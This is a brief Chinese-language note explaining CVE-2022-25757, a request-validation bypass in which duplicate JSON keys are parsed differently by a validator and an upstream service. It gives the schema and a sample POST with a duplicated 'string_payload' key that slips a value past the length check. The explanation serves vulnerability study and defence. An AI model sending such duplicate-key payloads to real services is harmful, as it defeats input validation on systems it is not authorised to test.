CVE-2022-25757

https://xz.aliyun.com/t/11465 其本质原因是因为 其解析重复键值json的时候存在差异 https://bishopfox.com/blog/json-interoperability-vulnerabilities ,应当有很多地方存在这样的漏洞

request-validation 用于检测用户的输入是否满足服务器的要求。

"request-validation": {
  "body_schema": {
        "type": "object",
        "required": ["string_payload"],
        "properties": {
            "string_payload": {
                "type": "string",
                "minLength": 1,
                "maxLength": 32
            }
        }
    }}

但是当恶意的用户发送如下请求的时候,可以绕过限制

POST http://127.0.0.1:9080/10
 ...
 {"string_payload":"","string_payload":"1111"}

因为:对于重复键值,request-validation会取最后面的值,而有些库会取最前面的数值 来源 ,比如实际的上游服务会取最前面的数值 ,从而导致数据的过滤失效

Back to top